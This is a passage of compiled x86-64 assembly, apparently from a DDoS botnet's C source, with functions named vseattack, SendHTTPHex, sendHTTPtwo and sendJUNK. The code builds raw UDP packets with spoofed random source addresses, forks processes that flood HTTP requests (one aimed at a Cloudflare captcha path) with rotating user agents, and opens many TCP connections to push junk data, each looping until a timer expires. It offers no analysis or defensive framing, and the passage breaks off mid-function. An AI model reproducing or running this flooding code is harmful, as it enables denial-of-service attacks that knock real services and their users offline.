	mov	DWORD PTR -44[rbp], esi
	mov	DWORD PTR -48[rbp], edx
	mov	eax, ecx
	mov	DWORD PTR -56[rbp], r8d
	mov	BYTE PTR -52[rbp], al
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, .LC21[rip]
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, -16
	or	edx, 5
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -40[rbp]
	movzx	edx, BYTE PTR [rax]
	and	edx, 15
	or	edx, 64
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -40[rbp]
	mov	BYTE PTR 1[rax], 0
	mov	eax, DWORD PTR -56[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR -20[rbp]
	add	eax, edx
	lea	edx, 20[rax]
	mov	rax, QWORD PTR -40[rbp]
	mov	WORD PTR 2[rax], dx
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -40[rbp]
	mov	WORD PTR 4[rax], dx
	mov	rax, QWORD PTR -40[rbp]
	mov	WORD PTR 6[rax], 0
	mov	rax, QWORD PTR -40[rbp]
	mov	BYTE PTR 8[rax], -1
	mov	rax, QWORD PTR -40[rbp]
	movzx	edx, BYTE PTR -52[rbp]
	mov	BYTE PTR 9[rax], dl
	mov	rax, QWORD PTR -40[rbp]
	mov	WORD PTR 10[rax], 0
	mov	rax, QWORD PTR -40[rbp]
	mov	edx, DWORD PTR -48[rbp]
	mov	DWORD PTR 12[rax], edx
	mov	rax, QWORD PTR -40[rbp]
	mov	edx, DWORD PTR -44[rbp]
	mov	DWORD PTR 16[rax], edx
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L257
	call	__stack_chk_fail@PLT
.L257:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE30:
	.size	makevsepacket, .-makevsepacket
	.globl	vseattack
	.type	vseattack, @function
vseattack:
.LFB31:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 168
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	QWORD PTR -168[rbp], rdi
	mov	DWORD PTR -172[rbp], esi
	mov	DWORD PTR -176[rbp], edx
	mov	DWORD PTR -180[rbp], ecx
	mov	DWORD PTR -184[rbp], r8d
	mov	DWORD PTR -188[rbp], r9d
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	lea	rax, .LC21[rip]
	mov	QWORD PTR -128[rbp], rax
	mov	WORD PTR -80[rbp], 2
	cmp	DWORD PTR -172[rbp], 0
	jne	.L259
	call	rand_cmwc
	mov	WORD PTR -78[rbp], ax
	jmp	.L260
.L259:
	mov	eax, DWORD PTR -172[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -78[rbp], ax
.L260:
	lea	rax, -80[rbp]
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -168[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	getHost
	test	eax, eax
	jne	.L297
	lea	rax, -80[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	r14d, DWORD PTR -188[rbp]
	cmp	DWORD PTR -180[rbp], 32
	jne	.L263
	mov	edx, 17
	mov	esi, 2
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -136[rbp], eax
	cmp	DWORD PTR -136[rbp], 0
	je	.L298
	mov	eax, DWORD PTR -184[rbp]
	add	eax, 1
	cdqe
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -88[rbp], rax
	cmp	QWORD PTR -88[rbp], 0
	je	.L299
	mov	eax, DWORD PTR -184[rbp]
	add	eax, 1
	movsx	rdx, eax
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edx, DWORD PTR -184[rbp]
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	makeRandomStr
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -176[rbp]
	add	eax, edx
	mov	DWORD PTR -132[rbp], eax
	mov	r12d, 0
	mov	ebx, 0
.L272:
	mov	eax, DWORD PTR -184[rbp]
	movsx	rdx, eax
	lea	rcx, -80[rbp]
	mov	rsi, QWORD PTR -88[rbp]
	mov	eax, DWORD PTR -136[rbp]
	mov	r9d, 16
	mov	r8, rcx
	mov	ecx, 0
	mov	edi, eax
	call	sendto@PLT
	cmp	r12d, r14d
	jne	.L266
	cmp	DWORD PTR -172[rbp], 0
	jne	.L267
	call	rand_cmwc
	mov	WORD PTR -78[rbp], ax
.L267:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -132[rbp], eax
	jl	.L300
	mov	r12d, 0
	jmp	.L270
.L266:
	add	r12d, 1
	mov	eax, DWORD PTR 16[rbp]
	cmp	ebx, eax
	jne	.L271
	mov	eax, DWORD PTR 24[rbp]
	imul	eax, eax, 1000
	mov	edi, eax
	call	usleep@PLT
	mov	ebx, 0
	jmp	.L270
.L271:
	add	ebx, 1
.L270:
	jmp	.L272
.L263:
	mov	edx, 17
	mov	esi, 3
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -144[rbp], eax
	cmp	DWORD PTR -144[rbp], 0
	je	.L301
	mov	DWORD PTR -156[rbp], 1
	lea	rdx, -156[rbp]
	mov	eax, DWORD PTR -144[rbp]
	mov	r8d, 4
	mov	rcx, rdx
	mov	edx, 3
	mov	esi, 0
	mov	edi, eax
	call	setsockopt@PLT
	test	eax, eax
	js	.L302
	mov	DWORD PTR -152[rbp], 50
	jmp	.L277
.L278:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	ebx, eax
	call	rand_cmwc
	xor	eax, ebx
	mov	edi, eax
	call	srand@PLT
.L277:
	mov	eax, DWORD PTR -152[rbp]
	lea	edx, -1[rax]
	mov	DWORD PTR -152[rbp], edx
	test	eax, eax
	jne	.L278
	cmp	DWORD PTR -180[rbp], 0
	jne	.L279
	mov	DWORD PTR -148[rbp], 0
	jmp	.L280
.L279:
	mov	eax, 32
	sub	eax, DWORD PTR -180[rbp]
	mov	edx, 1
	mov	ecx, eax
	sal	edx, cl
	mov	eax, edx
	neg	eax
	mov	DWORD PTR -148[rbp], eax
.L280:
	mov	eax, DWORD PTR -184[rbp]
	cdqe
	lea	rbx, 28[rax]
	mov	rax, rsp
	mov	r15, rax
	mov	rax, rbx
	sub	rax, 1
	mov	QWORD PTR -120[rbp], rax
	mov	QWORD PTR -208[rbp], rbx
	mov	QWORD PTR -200[rbp], 0
	mov	r12, rbx
	mov	r13d, 0
	mov	eax, 16
	sub	rax, 1
	add	rax, rbx
	mov	ecx, 16
	mov	edx, 0
	div	rcx
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L281:
	cmp	rsp, rdx
	je	.L282
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L281
.L282:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L283
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L283:
	mov	rax, rsp
	add	rax, 0
	mov	QWORD PTR -112[rbp], rax
	mov	rax, QWORD PTR -112[rbp]
	mov	QWORD PTR -104[rbp], rax
	mov	rax, QWORD PTR -104[rbp]
	add	rax, 20
	mov	QWORD PTR -96[rbp], rax
	mov	eax, DWORD PTR -184[rbp]
	add	eax, 8
	mov	r12d, eax
	mov	eax, DWORD PTR -148[rbp]
	mov	edi, eax
	call	getRandomIP
	mov	edi, eax
	call	htonl@PLT
	mov	edx, eax
	mov	esi, DWORD PTR -76[rbp]
	mov	rax, QWORD PTR -104[rbp]
	mov	r8d, r12d
	mov	ecx, 17
	mov	rdi, rax
	call	makevsepacket
	mov	eax, DWORD PTR -184[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR -160[rbp]
	add	eax, edx
	add	eax, 8
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	rdx, QWORD PTR -96[rbp]
	mov	WORD PTR 4[rdx], ax
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -96[rbp]
	mov	WORD PTR [rax], dx
	cmp	DWORD PTR -172[rbp], 0
	jne	.L284
	call	rand_cmwc
	jmp	.L285
.L284:
	mov	eax, DWORD PTR -172[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
.L285:
	mov	rdx, QWORD PTR -96[rbp]
	mov	WORD PTR 2[rdx], ax
	mov	rax, QWORD PTR -96[rbp]
	mov	WORD PTR 6[rax], 0
	mov	eax, DWORD PTR -160[rbp]
	lea	edx, 12[rax]
	mov	rax, QWORD PTR -96[rbp]
	mov	WORD PTR 6[rax], dx
	mov	rax, QWORD PTR -96[rbp]
	lea	rdx, 8[rax]
	mov	eax, DWORD PTR -184[rbp]
	mov	esi, eax
	mov	rdi, rdx
	call	makeRandomStr
	mov	rax, QWORD PTR -104[rbp]
	movzx	eax, WORD PTR 2[rax]
	movzx	edx, ax
	mov	rax, QWORD PTR -112[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	rdx, QWORD PTR -104[rbp]
	mov	WORD PTR 10[rdx], ax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -176[rbp]
	add	eax, edx
	mov	DWORD PTR -140[rbp], eax
	mov	r12d, 0
	mov	r13d, 0
.L293:
	mov	edi, ebx
	mov	eax, DWORD PTR -160[rbp]
	cdqe
	lea	rdx, 32[rax]
	lea	rcx, -80[rbp]
	mov	rsi, QWORD PTR -112[rbp]
	mov	eax, DWORD PTR -144[rbp]
	mov	r9d, 16
	mov	r8, rcx
	mov	ecx, edi
	mov	edi, eax
	call	sendto@PLT
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -96[rbp]
	mov	WORD PTR [rax], dx
	cmp	DWORD PTR -172[rbp], 0
	jne	.L286
	call	rand_cmwc
	jmp	.L287
.L286:
	mov	eax, DWORD PTR -172[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
.L287:
	mov	rdx, QWORD PTR -96[rbp]
	mov	WORD PTR 2[rdx], ax
	call	rand_cmwc
	mov	edx, eax
	mov	rax, QWORD PTR -104[rbp]
	mov	WORD PTR 4[rax], dx
	mov	eax, DWORD PTR -148[rbp]
	mov	edi, eax
	call	getRandomIP
	mov	edi, eax
	call	htonl@PLT
	mov	rdx, QWORD PTR -104[rbp]
	mov	DWORD PTR 12[rdx], eax
	mov	rax, QWORD PTR -104[rbp]
	movzx	eax, WORD PTR 2[rax]
	movzx	edx, ax
	mov	rax, QWORD PTR -112[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	csum
	mov	rdx, QWORD PTR -104[rbp]
	mov	WORD PTR 10[rdx], ax
	cmp	r12d, r14d
	jne	.L288
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -140[rbp], eax
	jl	.L303
	mov	r12d, 0
	jmp	.L291
.L288:
	add	r12d, 1
	mov	eax, DWORD PTR 16[rbp]
	cmp	r13d, eax
	jne	.L292
	mov	eax, DWORD PTR 24[rbp]
	imul	eax, eax, 1000
	mov	edi, eax
	call	usleep@PLT
	mov	r13d, 0
	jmp	.L291
.L292:
	add	r13d, 1
.L291:
	jmp	.L293
.L303:
	nop
	mov	rsp, r15
	jmp	.L258
.L297:
	nop
	jmp	.L258
.L298:
	nop
	jmp	.L258
.L299:
	nop
	jmp	.L258
.L300:
	nop
	jmp	.L258
.L301:
	nop
	jmp	.L258
.L302:
	nop
.L258:
	mov	rax, QWORD PTR -56[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L295
	call	__stack_chk_fail@PLT
.L295:
	lea	rsp, -40[rbp]
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE31:
	.size	vseattack, .-vseattack
	.section	.rodata
	.align 8
.LC22:
	.ascii	"\204\213\207\217\231\217\230\234"
	.string	"\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352\204\213\207\217\231\217\230\234\217\230\352"
	.align 8
.LC23:
	.string	"%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n"
	.text
	.globl	SendHTTPHex
	.type	SendHTTPHex, @function
SendHTTPHex:
.LFB32:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 2656
	mov	QWORD PTR -2616[rbp], rdi
	mov	QWORD PTR -2624[rbp], rsi
	mov	eax, edx
	mov	QWORD PTR -2640[rbp], rcx
	mov	DWORD PTR -2632[rbp], r8d
	mov	DWORD PTR -2644[rbp], r9d
	mov	WORD PTR -2628[rbp], ax
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -2632[rbp]
	add	eax, edx
	mov	DWORD PTR -2592[rbp], eax
	mov	DWORD PTR -2588[rbp], 0
	lea	rax, -2064[rbp]
	lea	rsi, .LC22[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	mov	DWORD PTR -2596[rbp], 0
	jmp	.L305
.L309:
	call	rand@PLT
	mov	edx, eax
	movsx	rax, edx
	imul	rax, rax, 954437177
	shr	rax, 32
	sar	eax, 3
	mov	esi, edx
	sar	esi, 31
	sub	eax, esi
	mov	ecx, eax
	mov	eax, ecx
	sal	eax, 3
	add	eax, ecx
	sal	eax, 2
	mov	ecx, edx
	sub	ecx, eax
	movsx	rax, ecx
	lea	rdx, 0[0+rax*8]
	lea	rax, useragents[rip]
	mov	rdi, QWORD PTR [rdx+rax]
	mov	rsi, QWORD PTR -2624[rbp]
	lea	rcx, -2064[rbp]
	mov	rdx, QWORD PTR -2616[rbp]
	lea	rax, -2576[rbp]
	mov	r9, rdi
	mov	r8, rsi
	lea	rsi, .LC23[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	call	fork@PLT
	test	eax, eax
	je	.L306
	jmp	.L307
.L308:
	movzx	edx, WORD PTR -2628[rbp]
	mov	rax, QWORD PTR -2624[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	socket_connect
	mov	DWORD PTR -2584[rbp], eax
	cmp	DWORD PTR -2584[rbp], 0
	je	.L307
	lea	rax, -2576[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rcx, -2576[rbp]
	mov	eax, DWORD PTR -2584[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	lea	rcx, -2577[rbp]
	mov	eax, DWORD PTR -2584[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	eax, DWORD PTR -2584[rbp]
	mov	edi, eax
	call	close@PLT
.L307:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -2592[rbp], eax
	jg	.L308
	mov	edi, 0
	call	exit@PLT
.L306:
	add	DWORD PTR -2596[rbp], 1
.L305:
	mov	eax, DWORD PTR -2596[rbp]
	cmp	eax, DWORD PTR -2644[rbp]
	jl	.L309
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L310
	call	__stack_chk_fail@PLT
.L310:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE32:
	.size	SendHTTPHex, .-SendHTTPHex
	.section	.rodata
	.align 8
.LC24:
	.string	"%s /cdn-cgi/l/chk_captcha HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n"
	.text
	.globl	sendHTTPtwo
	.type	sendHTTPtwo, @function
sendHTTPtwo:
.LFB33:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 2656
	mov	QWORD PTR -2616[rbp], rdi
	mov	QWORD PTR -2624[rbp], rsi
	mov	eax, edx
	mov	QWORD PTR -2640[rbp], rcx
	mov	DWORD PTR -2632[rbp], r8d
	mov	DWORD PTR -2644[rbp], r9d
	mov	WORD PTR -2628[rbp], ax
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -2632[rbp]
	add	eax, edx
	mov	DWORD PTR -2592[rbp], eax
	mov	DWORD PTR -2588[rbp], 0
	lea	rax, -2064[rbp]
	lea	rsi, .LC22[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	mov	DWORD PTR -2596[rbp], 0
	jmp	.L312
.L316:
	call	rand@PLT
	mov	edx, eax
	movsx	rax, edx
	imul	rax, rax, 954437177
	shr	rax, 32
	sar	eax, 3
	mov	esi, edx
	sar	esi, 31
	sub	eax, esi
	mov	ecx, eax
	mov	eax, ecx
	sal	eax, 3
	add	eax, ecx
	sal	eax, 2
	mov	ecx, edx
	sub	ecx, eax
	movsx	rax, ecx
	lea	rdx, 0[0+rax*8]
	lea	rax, useragents[rip]
	mov	rdi, QWORD PTR [rdx+rax]
	mov	rsi, QWORD PTR -2624[rbp]
	lea	rcx, -2064[rbp]
	mov	rdx, QWORD PTR -2616[rbp]
	lea	rax, -2576[rbp]
	mov	r9, rdi
	mov	r8, rsi
	lea	rsi, .LC24[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	call	fork@PLT
	test	eax, eax
	je	.L313
	jmp	.L314
.L315:
	movzx	edx, WORD PTR -2628[rbp]
	mov	rax, QWORD PTR -2624[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	socket_connect
	mov	DWORD PTR -2584[rbp], eax
	cmp	DWORD PTR -2584[rbp], 0
	je	.L314
	lea	rax, -2576[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rcx, -2576[rbp]
	mov	eax, DWORD PTR -2584[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	lea	rcx, -2577[rbp]
	mov	eax, DWORD PTR -2584[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	eax, DWORD PTR -2584[rbp]
	mov	edi, eax
	call	close@PLT
.L314:
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	cmp	DWORD PTR -2592[rbp], eax
	jg	.L315
	mov	edi, 0
	call	exit@PLT
.L313:
	add	DWORD PTR -2596[rbp], 1
.L312:
	mov	eax, DWORD PTR -2596[rbp]
	cmp	eax, DWORD PTR -2644[rbp]
	jl	.L316
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L317
	call	__stack_chk_fail@PLT
.L317:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE33:
	.size	sendHTTPtwo, .-sendHTTPtwo
	.globl	sendJUNK
	.type	sendJUNK, @function
sendJUNK:
.LFB34:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 264
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	QWORD PTR -296[rbp], rdi
	mov	DWORD PTR -300[rbp], esi
	mov	DWORD PTR -304[rbp], edx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	rax, rsp
	mov	rbx, rax
	call	getdtablesize@PLT
	mov	edx, eax
	shr	edx, 31
	add	eax, edx
	sar	eax
	mov	DWORD PTR -268[rbp], eax
	mov	WORD PTR -208[rbp], 2
	mov	eax, DWORD PTR -300[rbp]
	movzx	eax, ax
	mov	edi, eax
	call	htons@PLT
	mov	WORD PTR -206[rbp], ax
	lea	rax, -208[rbp]
	lea	rdx, 4[rax]
	mov	rax, QWORD PTR -296[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	getHost
	test	eax, eax
	je	.L319
	mov	rsp, rbx
	jmp	.L318
.L319:
	lea	rax, -208[rbp]
	add	rax, 8
	mov	edx, 8
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -268[rbp]
	movsx	rdx, eax
	sub	rdx, 1
	mov	QWORD PTR -248[rbp], rdx
	movsx	rdx, eax
	mov	r14, rdx
	mov	r15d, 0
	movsx	rdx, eax
	mov	r12, rdx
	mov	r13d, 0
	cdqe
	lea	rdx, 0[0+rax*8]
	mov	eax, 16
	sub	rax, 1
	add	rax, rdx
	mov	esi, 16
	mov	edx, 0
	div	rsi
	imul	rax, rax, 16
	mov	rcx, rax
	and	rcx, -4096
	mov	rdx, rsp
	sub	rdx, rcx
.L321:
	cmp	rsp, rdx
	je	.L322
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	jmp	.L321
.L322:
	mov	rdx, rax
	and	edx, 4095
	sub	rsp, rdx
	mov	rdx, rax
	and	edx, 4095
	test	rdx, rdx
	je	.L323
	and	eax, 4095
	sub	rax, 8
	add	rax, rsp
	or	QWORD PTR [rax], 0
.L323:
	mov	rax, rsp
	add	rax, 3
	shr	rax, 2
	sal	rax, 2
	mov	QWORD PTR -240[rbp], rax
	mov	eax, DWORD PTR -268[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rdx, rax
	mov	rax, QWORD PTR -240[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edi, 1024
	call	malloc@PLT
	mov	QWORD PTR -232[rbp], rax
	mov	rax, QWORD PTR -232[rbp]
	mov	edx, 1024
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	edx, DWORD PTR -304[rbp]
	add	eax, edx
	mov	DWORD PTR -264[rbp], eax
	jmp	.L324
.L338:
	mov	DWORD PTR -272[rbp], 0
	jmp	.L325
.L337:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	movzx	eax, BYTE PTR 4[rax+rdx*8]
	movzx	eax, al
	cmp	eax, 2
	je	.L326
	cmp	eax, 2
	jg	.L327
	test	eax, eax
	je	.L328
	cmp	eax, 1
	je	.L329
	jmp	.L327
.L328:
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	rdx, QWORD PTR -240[rbp]
	mov	ecx, DWORD PTR -272[rbp]
	movsx	rcx, ecx
	mov	DWORD PTR [rdx+rcx*8], eax
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edx, 0
	mov	esi, 3
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	or	ah, 8
	mov	edx, eax
	mov	rax, QWORD PTR -240[rbp]
	mov	ecx, DWORD PTR -272[rbp]
	movsx	rcx, ecx
	mov	eax, DWORD PTR [rax+rcx*8]
	mov	esi, 4
	mov	edi, eax
	mov	eax, 0
	call	fcntl@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	rcx, -208[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	cmp	eax, -1
	jne	.L330
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 115
	je	.L331
.L330:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	jmp	.L327
.L331:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 1
	jmp	.L327
.L329:
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -192[rbp]
	mov	rdi, rdx
#APP
# 958 "the_stack_data/22164.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -260[rbp], edx
	mov	DWORD PTR -256[rbp], eax
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -192[rbp+rax*8]
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -192[rbp+rax*8], rdx
	mov	QWORD PTR -224[rbp], 0
	mov	QWORD PTR -216[rbp], 10000
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	edi, 1[rax]
	lea	rdx, -224[rbp]
	lea	rax, -192[rbp]
	mov	r8, rdx
	mov	ecx, 0
	mov	rdx, rax
	mov	esi, 0
	call	select@PLT
	mov	DWORD PTR -252[rbp], eax
	cmp	DWORD PTR -252[rbp], 1
	jne	.L333
	mov	DWORD PTR -280[rbp], 4
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	lea	rcx, -280[rbp]
	lea	rdx, -276[rbp]
	mov	r8, rcx
	mov	rcx, rdx
	mov	edx, 4
	mov	esi, 1
	mov	edi, eax
	call	getsockopt@PLT
	mov	eax, DWORD PTR -276[rbp]
	test	eax, eax
	je	.L334
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 0
	jmp	.L340
.L334:
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 2
	jmp	.L340
.L333:
	cmp	DWORD PTR -252[rbp], -1
	jne	.L340
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	BYTE PTR 4[rax+rdx*8], 0
	jmp	.L340
.L326:
	mov	rax, QWORD PTR -232[rbp]
	mov	esi, 1024
	mov	rdi, rax
	call	makeRandomStr
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	rsi, QWORD PTR -232[rbp]
	mov	ecx, 16384
	mov	edx, 1024
	mov	edi, eax
	call	send@PLT
	cmp	rax, -1
	jne	.L341
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	cmp	eax, 11
	je	.L341
	mov	rax, QWORD PTR -240[rbp]
	mov	edx, DWORD PTR -272[rbp]
	movsx	rdx, edx
	mov	eax, DWORD PTR [rax+rdx*8]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -240[rbp]
